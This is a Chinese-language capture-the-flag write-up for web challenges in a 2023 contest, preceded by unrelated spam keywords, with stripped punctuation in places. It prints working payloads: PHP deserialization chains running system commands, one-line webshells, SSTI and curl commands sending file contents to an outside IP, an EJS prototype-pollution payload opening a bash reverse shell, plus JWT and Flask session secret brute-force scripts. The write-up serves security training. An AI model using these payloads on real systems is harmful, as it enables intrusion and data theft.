网站做弹窗广告,邢台交友123,柳城 wordpress,在北京注册公司流程及费用最后排名 9/2049。 玩脱了#xff0c;以为28结束#xff0c;囤的一些flag没交上去。我真该死啊QAQ
EzHttp
前言#xff1a;这次极客平台太安全了谷歌不给抓包#xff0c;抓包用burp自带浏览器。 密码查看源码-robots.txt-o2takuXX’s_username_and_password.txt获…最后排名 9/2049。 玩脱了以为28结束囤的一些flag没交上去。我真该死啊QAQ
EzHttp
前言这次极客平台太安全了谷歌不给抓包抓包用burp自带浏览器。 密码查看源码-robots.txt-o2takuXX’s_username_and_password.txt获得 postman一把梭。 唯一要注意的就是最后要求$_SERVER[HTTP_O2TAKUXX]GiveMeFlag
** S E R V E R ∗ ∗ 超全局变量保存关于报头、路径和脚本位置的信息。 ‘ _SERVER** 超全局变量保存关于报头、路径和脚本位置的信息。 SERVER∗∗超全局变量保存关于报头、路径和脚本位置的信息。‘_SERVER[‘HTTP_O2TAKUXX’]就是http头中的参数O2TAKUXX。
unsign
直接给了源码 简单php反序列化链子是syc::__destruct()-lover::__invoke()-web::__get()
EXP
?php
highlight_file(__FILE__);
class syc
{public $cuit;public function __destruct(){echo(action!br);$function$this-cuit;return $function();}
}class lover
{public $yxx;public $QW;public function __invoke(){echo(invoke!br);return $this-yxx-QW;}}class web
{public $eva1;public $interesting;public function __get($var){echo(get!br);$eva1$this-eva1;$eva1($this-interesting);}
}//syc::__destruct()-lover::__invoke()-web::__get()$anew syc();
$a-cuitnew lover();
$a-cuit-yxxnew web();
$a-cuit-yxx-eva1system;
$a-cuit-yxx-interestingtac /flag;echo serialize($a);?n00b_Upload
文件上传简单测了一下只给传.php后缀
同时木马? eval($_POST[1]);?可行但是木马script languagephpeval($_POST[1]);/script不给传二分法测试应该是整段过滤。。。。 尝试访问uploadtest/391284_653a70260a272.php。getshell easy_php
都是一些php基础绕过不再讲了直接给payload
GET:?sycwelcome%20to%20GEEK%202023!lover1e9POST:SYC[GEEK.20231SYC[GEEK.2023Happy to see you!qw%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1yxx%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1ctf_curl
题目描述命令执行真的吗
直接给了源码 粗略一看断绝了curl读取文件的可能。
但是不难发现直接给出了flag路径而且题目描述提示不用命令执行。
查找所有curl命令的使用发现可以使用无回显RCE中的http 信道带出文件内容 payload
?addrxxxxxx.requestrepo.com -T /tmp/Syclover可行成功带出了flag文件/tmp/Syclover flag 保卫战
题目描述管理员为了flag不被发现一顿操作后自己都不知道访问的密码了 QAQ
开题是一个登录界面 0x01、信息搜集
未登录界面源码里面有访客密码 和 验证密码获得flag的路由/flag传参?pass 登录后的界面/upload源码中有不可见提示csrf token 10 秒失效由此判断我们需要用自动化脚本源码中还有前端js源码暴露了所有路由。 /file-list列出当前已上传且未被删除的文件列表
/new-csrf-token获取和设置新的 CSRF 令牌 登录后随便传一个文件后缀自动改成了.key 初始jwt的密钥就是password用户的密码123456 看看登录后的页面管理员密码是一直在变的由我们上传的临时文件内容决定。 0x02、看所有包
重开环境。之前所有步骤都抓包看看包。
未登录的包啥都没有 登录时候的包啥都没有账号密码json传参 登录后的包只有jwt-token不变的 上传文件时候的包 访问路由/new-csrf-token获取动态csrf密钥的包只有jwt-token不变的 访问路由/flag验证身份的包只有jwt-token不变的 0x03、理清思路
1、可以肯定的是我们要在十秒内csrf token有效期上传四个及以上文件手动上传不用考虑csrf token因为js源码中上传时候会自动更新就是担心30s内无法上传验证。但是这个如果要通过自动化脚本实现很容易同时我们可以传一次文件更新一次csrf token确保脚本可以一直运行下去。
2、验证究竟是如何验证呢题目源码给的提示是/flag?pass123456应该是在这个路由验证了而不是直接/login路由登录。
3、验证方式是什么一开始我误以为传参?pass四个文件内容就可以了但是经过几小时失败以及前文提到的jwt密钥就是password的密码123456不难意识到jwt也是一重验证。
4、jwt如何改前文提到的jwt密钥就是password的密码123456虽然password的初始jwt密码123456无法通过验证但是我们验证admin身份还是需要?pass四个文件内容admin密码用户admin密钥admin密码1111的jwt。 0x04、自动化脚本撰写
这里有一个坑点就是我们脚本中 获取csrf token、上传文件、读取文件列表时候附带的jwt密钥需要改改密码还是123456但是用户得是admin
这个也是试出来的20:00开赛脚本从11:00改到第二天凌晨。。。。。
具体为什么用户名要改成admin个人暂时想法如下 1、可行性题目环境中jwt改了用户名没事改了密钥就直接无效了。 2、必要性也许用户只能读取以自己身份写入的文件比如我password用户写入的文件admin是无法读取的所以对admin来说没有文件就没有由四个文件构成的密码了。 查看脚本运行结果验证上述必要性
可以看到文件确实是分用户的JWT如果是admin用户上传的文件名命名是admin-0xx.keyJWT如果是password用户上传的文件名命名是password-0xx.key。个人感觉这个是一个混淆点一开始让我误以为文件名字意思是这个是密码文件而不是password用户文件 最后脚本如下
#Jay17
import json
import requests
import threading#靶机地址
url https://rhk4wscflc7hgds1uoth4z1xd.node.game.sycsec.comsession requests.session()# 往下两行的filename是表单字段名抓包获得。
file {filename: (1.txt, 1, text/plain) # 请求头Content-Type字段对应的值手动抓的包里面看
}#password用户登录的jwt自己修改成admin用户jwt密钥还是123456不变
jwttoken eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjk4MzgyNTUzfQ.iSuLQGSzXqS0OHnV6Md5i7v8pDuIVIYa1m22A6cfNP0# 写文件方法不停的写,burp代理proxies可以看看请求包极客不给抓包其他比赛可以
def write():while True:# 获取动态csrf密钥r session.get(urlurl /new-csrf-token,cookies{jwt-token: jwttoken}) # ,proxies{http:127.0.0.1:8080})print(r.text)csrf r.text# 上传文件data {yak-token: csrf}r session.post(urlurl /upload, datadata, filesfile,cookies{jwt-token: jwttoken}) # ,proxies{http:127.0.0.1:8080})print(r.text)# 读文件列表、自动登录验证
def read():while True:# 读取文件r session.get(urlurl /file-list, cookies{jwt-token: jwttoken}) # ,proxies{http:127.0.0.1:8080})print(r.text)#登录验证#jwt是admin用户jwt密钥是四个文件连起来内容1111rsession.get(urlurl /flag?pass1111, cookies{jwt-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjk4MzgyNTUzfQ.PoFcmmc6hUksjK_Rtu6U647GrCiO392DeE5CU51Wx_c})print()print(r.status_code)# print(r.headers)# print(r.cookies[jwt-token])# print(r.cookies)print(r.text)# 双线程不停写不停读和验证
threads [threading.Thread(targetwrite), threading.Thread(targetread)]for t in threads:t.start()最后运行脚本得到flag klf_ssti
开题。 经过一系列信息搜集源码扫后台发现我们的SSTI入口应该是/hack?klfxxx 不知道是哪个语言的ssti传入什么都返回klf别想如{{7*7}}、123。服务是由nginx支持的盲猜Python的SSTI先fuzz一波。
没有fuzz出过滤但是可以发现确实是存在SSTI比如只传入{{时会500 Internal Server Error 不过啥都无回显不知道执行成功没有。。
/hack?klf{{config.__class__.__init__.__globals__[os].popen(tac /f*).read()}}先拿curl命令测一波发现命令确实能执行成功
/hack?klf{{config.__class__.__init__.__globals__[os].popen(curl 120.46.41.173:9023).read()}}http信道带出数据md出题人藏flag…
/hack?klf{{config.__class__.__init__.__globals__[os].popen(curl 120.46.41.173:9023/ls /app/f*).read()}}/hack?klf{{config.__class__.__init__.__globals__[os].popen(curl 120.46.41.173:9023/tac /app/fl4gfl4gfl4g).read()}}ez_remove
直接给了源码 ?php
highlight_file(__FILE__);
class syc{public $lover;public function __destruct(){eval($this-lover);}
}if(isset($_GET[web])){if(!preg_match(/lover/i,$_GET[web])){$aunserialize($_GET[web]);throw new Error(快来玩快来玩~);}else{echo(nonono);}
}
?我们只需要绕过对lover的正则匹配和抛出错误即可。
绕过方式为十六进制GC回收。
十六进制PHP反序列化 | Y4tacker’s Blog (gitee.io)
O:4:test:2:{s:4:xxxa;s:3:abc;s:7:asdfrew;s:3:def;}
可以写成
O:4:test:2:{S:4:xxx\61;s:3:abc;s:7:asdfrew;s:3:def;}
表示字符类型的s大写为S时会被当成16进制解析。GC回收可以看这篇绕过__wakeup() 反序列化 合集_Jay 17的博客-CSDN博客
EXP
?php
class syc{public $lover;public function __destruct(){eval($this-lover);}
}
$anew syc();
$a-loverphpinfo();;echo serialize($a);?生成payload
O:3:syc:1:{s:5:lover;s:10:phpinfo();;}改成如下所示利用十六进制和GC绕过限制。
O:3:syc:1:{S:5:lo\76er;s:10:phpinfo();;难崩的是这里有disable fuction。不能直接执行命令了。 那我们起手连蚁剑接下来讲讲怎么连蚁剑。
先写个转接头
GET:?webO:3:syc:1:{S:5:lo\76er;s:18:assert($_POST[1]);;POST:1要执行的代码然后连蚁剑测试发现爆红。 解决办法是将https改成http。https太安全了呜呜呜编码器记得选base64 蚁剑还是很好用的总动列出了所有可用的函数并且蚁剑会用这些函数自动进行相关文件操作可视化的显示给我们。 flag在根目录/f1ger文件中但是直接打开不显示内容。 蚁剑有自带绕过功能如果直接查看flag文件没权限可以试试在虚拟终端cat /flag。 ez_path
开题。 给了源码 反编译之后是这样的
import os, uuid
from flask import Flask, render_template, request, redirectapp Flask(__name__)
ARTICLES_FOLDER articles/
articles []class Article:def __init__(self, article_id, title, content):self.article_id article_idself.title titleself.content contentdef generate_article_id():return str(uuid.uuid4())app.route(/)
def index():return render_template(index.html, articlesarticles)app.route(/upload, methods[GET, POST])
def upload():if request.method POST:title request.form[title]content request.form[content]article_id generate_article_id()article Article(article_id, title, content)articles.append(article)save_article(article_id, title, content)return redirect(/)else:return render_template(upload.html)app.route(/article/article_id)
def article(article_id):for article in articles:if article.article_id article_id:title article.titlesanitized_title sanitize_filename(title)article_path os.path.join(ARTICLES_FOLDER, sanitized_title)with open(article_path, r) as (file):content file.read()return render_template(articles.html, titlesanitized_title, contentcontent, article_patharticle_path)return render_template(error.html) # 如果找不到对应的文章则返回错误页面def save_article(article_id, title, content):sanitized_title sanitize_filename(title)article_path ARTICLES_FOLDER / sanitized_titlewith open(article_path, w) as (file):file.write(content)def sanitize_filename(filename): #过滤函数被过滤的字符都替换成下划线sensitive_chars [:,*,?,,,,|,.]for char in sensitive_chars:filename filename.replace(char, _)return filenameif __name__ __main__:app.run(debugTrue)继续信息搜集查看源码发现flag应该在/f14444同时有两个路由/home和/upload。 博客存在python控制台有读取文件计算PIN码进控制台执行命令的可能。可行的方法文件都能读不做了 我们先计算PIN码来读取源文件反编译的源码可能不全。 1.username 通过getpass.getuser()读取或者通过文件读取/etc/passwd 2.modname 通过getattr(mod,“file”,None)读取默认值为flask.app 3.appname 通过getattr(app,“name”,type(app).name)读取默认值为Flask 4.moddir flask库下app.py的绝对路径、当前网络的mac地址的十进制数通过getattr(mod,“file”,None)读取实际应用中通过报错读取,如传参的时候给个不存在的变量 5.uuidnode mac地址的十进制,通过uuid.getnode()读取通过文件/sys/class/net/eth0/address得到16进制结果转化为10进制进行计算 6.machine_id 机器码每一个机器都会有自已唯一的idLinux下machine_id由三个合并(docker就后两个)1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup(第一行的/docker/字符串后面的内容) 一般生成pin码不对就是这错了 依次读取文件虽然可以直接读取flag呜呜 1.username root 2.modnameflask.app 3.appnameFlask 4.moddir/usr/local/lib/python3.9/site-packages/flask/app.py 5.uuidnode253636626821197 6.machine_id31e70710-1d09-4cda-bc57-a7a012a89ef7docker-8220349aefd48f822d7435a7eaac7697e4c8fdfaa6d1ee4660ce6ca65047fc2c.scope 计算PIN码脚本
#sha1
import hashlib
from itertools import chain
probably_public_bits [root# /etc/passwdflask.app,# 默认值Flask,# 默认值/usr/local/lib/python3.9/site-packages/flask/app.py # 报错得到
]private_bits [253636626821197,# /sys/class/net/eth0/address 16进制转10进制#machine_id由三个合并(docker就后两个)1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup#653dc458-4634-42b1-9a7a-b22a082e1fce55d22089f5fa429839d25dcea4675fb930c111da3bb774a6ab7349428589aefd# /proc/self/cgroup#docker-8220349aefd48f822d7435a7eaac7697e4c8fdfaa6d1ee4660ce6ca65047fc2c.scope # /proc/self/cgroup#31e70710-1d09-4cda-bc57-a7a012a89ef7 #/proc/sys/kernel/random/boot_id31e70710-1d09-4cda-bc57-a7a012a89ef7docker-8220349aefd48f822d7435a7eaac7697e4c8fdfaa6d1ee4660ce6ca65047fc2c.scope #/proc/sys/kernel/random/boot_id/proc/self/cgroup
]h hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit bit.encode(utf-8)h.update(bit)
h.update(bcookiesalt)cookie_name __wzd h.hexdigest()[:20]num None
if num is None:h.update(bpinsalt)num (%09d % int(h.hexdigest(), 16))[:9]rv None
if rv is None:for group_size in 5, 4, 3:if len(num) % group_size 0:rv -.join(num[x:x group_size].rjust(group_size, 0)for x in range(0, len(num), group_size))breakelse:rv numprint(rv)笑。。。。执行不了一点不知道为什么。 PIN码可行我们做别的方法Python 中的路径穿越。
参考警惕: Python 中的路径穿越_zzzzls~的博客-CSDN博客
# os.path.joinos.path.join(/home/download, ../../opt/logo.png)
/home/download/../../opt/logo.png# pathlibpathlib.Path(/home/download) / ../../opt/logo.png
/home/download/../../opt/logo.png【如果某个部分为绝对路径则之前的所有部分都会被丢弃并从绝对路径开始继续拼接】# os.path.joinos.path.join(/home/download, /opt/logo.png)
/opt/logo.png# pathlibpathlib.Path(/home/download) / /opt/logo.png
/opt/logo.png阅读源码源码反编译有点不全但是看有路径拼接猜测/home路由也是路径拼接用到了os.path.join()或者pathlib.Path()方法所以造成了上述python路径穿越漏洞。
存的时候应该是articles/什么什么。读的时候以为特性直接就读后半段绝对路径了比如/etc/passwd。
所以根目录下flag文件直接读取就好啦 源码反编译有点问题做完后去找出题人姐姐要了一下源码
import os
import uuid
from flask import Flask, render_template, request, redirect
app Flask(__name__)ARTICLES_FOLDER articles/
articles []class Article:def __init__(self, article_id, title, content):self.article_id article_idself.title titleself.content contentdef generate_article_id():return str(uuid.uuid4())app.route(/)
def index():return render_template(index.html, articlesarticles)app.route(/home)
def home():return render_template(home.html, articlesarticles)app.route(/upload, methods[GET, POST])
def upload():if request.method POST:title request.form[title]content request.form[content]article_id generate_article_id()article Article(article_id, title, content)articles.append(article)save_article(article_id, title, content)return redirect(/home)else:return render_template(upload.html)app.route(/article/article_id)
def article(article_id):for article in articles:if article.article_id article_id:title article.titlesanitized_title sanitize_filename(title)article_path os.path.join(ARTICLES_FOLDER, sanitized_title)with open(article_path, r) as file:content file.read()return render_template(articles.html, titlesanitized_title, contentcontent, article_patharticle_path)return render_template(error.html) # 如果找不到对应的文章则返回错误页面def save_article(article_id, title, content):sanitized_title sanitize_filename(title)article_path ARTICLES_FOLDER / sanitized_titlewith open(article_path, w) as file:file.write(content)def sanitize_filename(filename):# 替换敏感字符为下划线 _sensitive_chars [:, *, ?, , , , |,.]for char in sensitive_chars:filename filename.replace(char, _)return filenameif __name__ __main__:app.run(debugTrue, host0.0.0.0,port5000)有os.path.join()方法猜测成立 you konw flask?
二血拿下。 开题源码没东西。 注册登录试试提示我们要成为教练。 验证身份的方式是session。
eyJpc19hZG1pbiI6ZmFsc2UsIm5hbWUiOiJ7eyc3JyonNyd9fSIsInVzZXJfaWQiOjJ9.ZUOS4Q.vDzAPCyc9MEptQx5vBZLVvEnSDo扫出robots.txt 访问/3ysd8.html得到session密钥生成方式 两端不变密钥中间三位爆破。
爆破session密钥脚本
import itertools
import flask_unsign
from flask_unsign.helpers import wordlist
import requests as r
import time
import re
import syspath wordlist.txtprint(Generating wordlist... )with open(path,w) as f:#permutations with repetition[f.write(wanbao.join(x)wanbao\n) for x in itertools.product(0123456789abcdefghijklmnopqrstuvwxyzQWERTYUIOPLKJHGFDSAZXCVBNM, repeat3)] #加上前缀#url http://47.115.201.35:8000/index
#cookie_tamper r.head(url).cookies.get_dict()[session]
cookie_tampereyJpc19hZG1pbiI6ZmFsc2UsIm5hbWUiOiIxMSIsInVzZXJfaWQiOjJ9.ZUOXIQ.PPWPtlyo0NR_mm1V_pdrQOLy240
print(Got cookie: cookie_tamper)print(Cracker Started...)obj flask_unsign.Cracker(valuecookie_tamper)before time.time()with wordlist(path, parse_linesFalse) as iterator:obj.crack(iterator)secret
if obj.secret:secret obj.secret.decode()print(fFound SECRET_KET {secret} in {time.time()-before} seconds)signer flask_unsign.sign({time:time.time(),authorized:True},secretsecret)flask-unsign工具用法
解密sessionflask-unsign --decode --cookie 获得的session爆破密钥flask-unsign --unsign --cookie 获得的session加密sessionflask-unsign --sign --cookie {logged_in: True} --secret CHANGEME爆破指定字典flask-unsign --unsign --cookie xxx --wordlist key.txtflask-unsign工具解密session
flask-unsign --decode --cookie eyJpc19hZG1pbiI6ZmFsc2UsIm5hbWUiOiIxMSIsInVzZXJfaWQiOjJ9.ZUOXIQ.PPWPtlyo0NR_mm1V_pdrQOLy240flask-unsign工具伪造session
flask-unsign --sign --cookie {is_admin: True, name: 11, user_id: 2} --secret wanbaoNjIwanbao获得伪造成admin后的session。
eyJpc19hZG1pbiI6dHJ1ZSwibmFtZSI6IjExIiwidXNlcl9pZCI6Mn0.ZUOXlA.-dQNWRyZdmqiw5XrR8P6IceeJDU用admin身份就直接得到flag。 Pupyy_rce
直接给了源码。 ?php
highlight_file(__FILE__);
header(Content-Type: text/html; charsetutf-8);
error_reporting(0);
include(flag.php);
//当前目录下有好康的
if (isset($_GET[var]) $_GET[var]) {$var $_GET[var];if (!preg_match(/env|var|session|header/i, $var,$match)) {if (; preg_replace(/[^\s\(\)]?\((?R)?\)/, , $var)){eval($_GET[var]);}else die(WAF!!);} else{die(PLZ DONT HCAK ME);}
}一眼无参数RCE过滤了env|var|session|header
注释提示当前目录下有好康的那就先看看当前目录的文件结构
print_r(scandir(getcwd()));flag应该在当前目录下flg.php文件中。 但是这个文件不在返回的目录数组的头尾我们一般的payload如show_source(next(array_reverse(scandir(getcwd()))));无法读取到flag。
知识点 array_rand(): 从数组中取出一个或者多个单元并且返回随机条目的一个或者多个键。 array_flip()读取当前目录的键和值进行交换如果失败返回 NULL。 array_flip()和array_rand()配合使用可随机返回当前目录下的文件名。因为其中的键可以利用随机数函数array_rand()进行随机生成。 payload:多发几次随机返回当前目录下的文件内容会返回flag的
?varshow_source(array_rand(array_flip(scandir(getcwd()))));雨
开题需要我们伪造身份为admin然后访问/source路由 验证admin身份用的是JWT 无法用常见方法伪造JWT源码给了hint。 密钥应该就是VanZY 当然如果和我一样一开始没看见hint我们爆破密钥也能出来毕竟才五位数毕竟一晚上挂机就行难崩 成功伪造成admin身份后返回了源码 const express require(express);
const jwt require(jsonwebtoken);
const app express();
const bodyParser require(body-parser)
const path require(path);
const jwt_secret VanZY;
const cookieParser require(cookie-parser);
const putil_merge require(putil-merge)
app.set(views, ./views);
app.set(view engine, ejs);
app.use(cookieParser());
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
var Super {};
var safecode function (code) {let validInput /global|mainModule|import|constructor|read|write|_load|exec|spawnSync|stdout|eval|stdout|Function|setInterval|setTimeout|var|\|\*/ig;return !validInput.test(code);
};
app.all(/code, (req, res) {res.type(html);if (req.method POST req.body) {putil_merge({}, req.body, {deep: true});}res.send(welcome to code);
});
app.all(/hint, (req, res) {res.type(html);res.send(I heard that the challenge maker likes to use his own id as secret_key);
});
app.get(/source, (req, res) {res.type(html);var auth req.cookies.auth;jwt.verify(auth, jwt_secret, function (err, decoded) {try {if (decoded.user admin) {res.sendFile(path.join(__dirname /index.js));} else {res.send(you are not admin );}} catch {res.send(Fuck you Hacker!!!)}});
});
app.all(/create, (req, res) {res.type(html);if (!req.body.name || req.body.name undefined || req.body.name null) {res.send(please input name);} else {if (Super[userrole] Superadmin) {res.render(index, req.body);} else {if (!safecode(req.body.name)) {res.send(你在做什么快停下)} else {res.render(index, {name: req.body.name});}}}
});
app.get(/, (req, res) {res.type(html);var token jwt.sign({user: guest}, jwt_secret, {algorithm: HS256});res.cookie(auth , token);res.end(Only admin can get source in /source);
});
app.listen(3000, () console.log(Server started on port 3000));核心代码
var safecode function (code) { //过滤函数//使用了 i不区分大小写和 g全局搜索标志let validInput /global|mainModule|import|constructor|read|write|_load|exec|spawnSync|stdout|eval|Function|setInterval|setTimeout|var|\|\*/ig;return !validInput.test(code);
};app.all(/code, (req, res) {res.type(html);if (req.method POST req.body) {//污染基类入口putil_merge({}, req.body, {deep: true});}res.send(welcome to code);
});app.all(/create, (req, res) {res.type(html);if (!req.body.name || req.body.name undefined || req.body.name null) {res.send(please input name);} else {if (Super[userrole] Superadmin) {//渲染,原型链污染造成命令执行反弹shellres.render(index, req.body);} else {if (!safecode(req.body.name)) {res.send(你在做什么快停下)} else {res.render(index, {name: req.body.name});}}}
});
思路很简单我们首先在/code路由污染Super的父类即基类Object使基类Object的属性userrole满足条件。在/create路由判断时候由于Super类找不到属性userrole会去找基类Object的属性userrole。
在res.render(index, req.body);处执行渲染req.body可控直接打ejs原型链污染的payload即可RCE。
流程是在/code路由污染完去/create路由渲染解析了被污染的RCE。
获取基类Object方法 /code路由下payload。
{constructor:{prototype:{settings:{view options:{escapeFunction:console.log;this.global.process.mainModule.require(child_process).execSync(bash -c \bash -i /dev/tcp/120.46.41.173/9023 1\);,client:true}},userrole:Superadmin}}}/create路由下payload。
{name:Jay17}vps收到shell后在根目录下找到flag。 famale_imp_l0ve
开题是一个文件上传界面。测了一下只能上传.zip后缀。 查看源码发现一个包含功能的文件/include.php /include.php源码如下 ?php
//o2takuXX师傅说有问题忘看了。
header(Content-Type: text/html; charsetutf-8);
highlight_file(__FILE__);
$file $_GET[file];
if(isset($file) strtolower(substr($file, -4)) .jpg){include($file);
}
?可以%00截断但是无法读取文件。 换种方法我们用phar://协议。phar://协议可以读取任意后缀压缩包中的内容如.zip。 条件 1、php.ini里面phar.readonly改成Off去掉前面的分号。 2、有参数是 string形式的文件名称 ($filename)的函数 3、能上传任意后缀jpg都行的phar包。 4、有可利用的文件操作函数并控制了协议头使用phar协议解析 **用法例子**filesize(“phar://xxx.phar”); 先上传一个1.zip文件其中包含一句话马马文件后缀是.jpg。 payload
GET:
/include.php?filephar:///var/www/upload/1.zip/1.jpgPOST:
1system(tac /flag);change_it
题目描述快来找flag文件上传的目录为 “/upload”
开题登陆界面账号密码在源码中 登陆后有上传头像功能但是user用户无权限上传头像。 直接改用户名为admin也无权限上传头像。身份校验方式是JWT。 密钥不知道直接脚本爆破得到密钥是yibao
import jwttoken eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJRaW5nd2FuIiwibmFtZSI6InVzZXIiLCJhZG1pbiI6ImZhbHNlIn0.gzCFCz2Hw5c_EIjcM2lQ2QL3aDW3rAAHU2ZQ50_tnY4 # 题目中的 token
#password_file C:\\Users\\86159\\PycharmProjects\\pythonProject\\WEB-xxx\\JWT\\jwtpassword.txt # 密码字典文件
password_file ../wordlist.txt # 枚举密码字典文件with open(password_file,rb) as file:for line in file:line line.strip() # 去除每行后面的换行try:jwt.decode(token, verifyTrue, keyline, algorithmsHS256) # 设置编码方式为 HS256print(key: , line.decode(ascii))breakexcept (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError,jwt.exceptions.ImmatureSignatureError): # 出现这些错误虽然表示过期之类的错误但是密钥是正确的print(key: , line.decode(ascii))breakexcept jwt.exceptions.InvalidSignatureError: # 签名错误则表示密钥不正确print(Failed: , line.decode(ascii))continueelse:print(Not Found.)有了密钥就能伪造JWT了。 直接上马 访问getshell。访问不到看了看上传界面源码文件名是处理过的。。 先本地跑一下看看啦php版本是8。本地可以跑出时间戳和文件名。 思路是上传成功后马上本地查看时间戳。然后写php脚本生成时间戳前后30一共60个文件名直接burp爆破。
上传文件时大概的时间戳 脚本如下
?php
function php_mt_seed($seed)
{mt_srand($seed);
}//1700575026
for ($seed 1700575000; $seed 1700575056; $seed) {php_mt_seed($seed);$characters abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789;$newFileName ;for ($i 0; $i 10; $i) {$newFileName . $characters[mt_rand(0, strlen($characters) - 1)];}echo \n.$newFileName;
}?burp爆破结果如下 访问getshell。 ezrfi
题目描述亲爱的Syclover,你能找到flag吗???
hint:有一步是rc4解密
开题是一个基于PHP环境的文件读取功能界面。 源码里面有hint 抽象之hint文件在/var目录下。。。。
?file/var/hintsecret为
w5YubyBvd08gMHcwIG92MCDDlndvIE8ubyAwLjAgMC5vIMOWdjAgMHbDliBPdjAgT3fDliBvLk8gw5Z2TyAwXzAgMF9PIG8uTyAwdjAgw5ZfbyBPd28gw5Z2TyDDli5PIMOWXzAgTy5PIMOWXzAgMHbDliAwLjAgw5Z2w5Ygw5Z3MCBPdsOWIMOWdjAgT1/DliDDlnZPIMOWLk8gw5Z3MCBvd8OWIMOWLm8gTy5vIMOWXzAgMHbDliDDlndvIE93w5YgTy5vIE93TyBvX28gw5YuTyBvLm8gb3dPIMOWXzAgb3dPIMOWXzAgMHZvIG8uTyBPd8OWIE92byAwLsOWIMOWdjAgTy7DliAwLjAgMHfDliBvLsOWIG93byBvdzAgMHZvIMOWLm8gb3dPIG9fMCDDli5PIG9fbyBPd8OWIE8ubyBvdzAgw5ZfbyBvd28gw5YuMCDDlnZPIG9fTyBPLsOWIE92MCBPdzAgby7DliAwdjAgT3YwIE9fTyBvLk8gT3bDliDDlnYwIMOWXzAgw5Z3byBvd08gT19vIE93w5Ygby5PIMOWdk8gby4wIDBfMCDDll9vIG93TyBPXzAgMC7DliDDli5vIE8uTyBPdzAgT19vIMOWdjAgb3cwIMOWdjAgT18wIMOWdm8gw5Z2w5Ygw5ZfbyAwX8OWIMOWdm8gw5Z2w5YgMHcwIE92w5Ygw5YubyDDli4wIMOWLm8gb3ZvIMOWLjAgw5YuMCAwd28gb3dPIG8uTyAwd8OWIDB2MCBvd8OWIMOWdzAgw5YubyAwdzAgT1/DliBvX08gw5Z2byAgbase64解码一次
Ö.o owO 0w0 ov0 Öwo O.o 0.0 0.o Öv0 0vÖ Ov0 OwÖ o.O ÖvO 0_0 0_O o.O 0v0 Ö_o Owo ÖvO Ö.O Ö_0 O.O Ö_0 0vÖ 0.0 ÖvÖ Öw0 OvÖ Öv0 O_Ö ÖvO Ö.O Öw0 owÖ Ö.o O.o Ö_0 0vÖ Öwo OwÖ O.o OwO o_o Ö.O o.o owO Ö_0 owO Ö_0 0vo o.O OwÖ Ovo 0.Ö Öv0 O.Ö 0.0 0wÖ o.Ö owo ow0 0vo Ö.o owO o_0 Ö.O o_o OwÖ O.o ow0 Ö_o owo Ö.0 ÖvO o_O O.Ö Ov0 Ow0 o.Ö 0v0 Ov0 O_O o.O OvÖ Öv0 Ö_0 Öwo owO O_o OwÖ o.O ÖvO o.0 0_0 Ö_o owO O_0 0.Ö Ö.o O.O Ow0 O_o Öv0 ow0 Öv0 O_0 Övo ÖvÖ Ö_o 0_Ö Övo ÖvÖ 0w0 OvÖ Ö.o Ö.0 Ö.o ovo Ö.0 Ö.0 0wo owO o.O 0wÖ 0v0 owÖ Öw0 Ö.o 0w0 O_Ö o_O Övo 尊嘟假嘟解密一次
Shy0JhFpsinjV0IfFfzS44KIcwPFg312qo6gfdk0DzcoMdSgVs15cERxpqnPJh4Y3b3i/mcbkPlHGTIA6/A8CQU8UX6j9w5HKy这个应该就是需要rc4解密了问题是没有密钥根据所有题目信息最后猜到密钥是题目描述中的Syclover
rc4解密结果
文件包含逻辑是include($file..py),你能找到flag文件位置吗??后端逻辑是include($file..py)我们可以利用php filter chain突破后缀限制
POC:
import requestsurl https://o8psad59go93x7xvicykjqu7c.node.game.sycsec.com/index.php
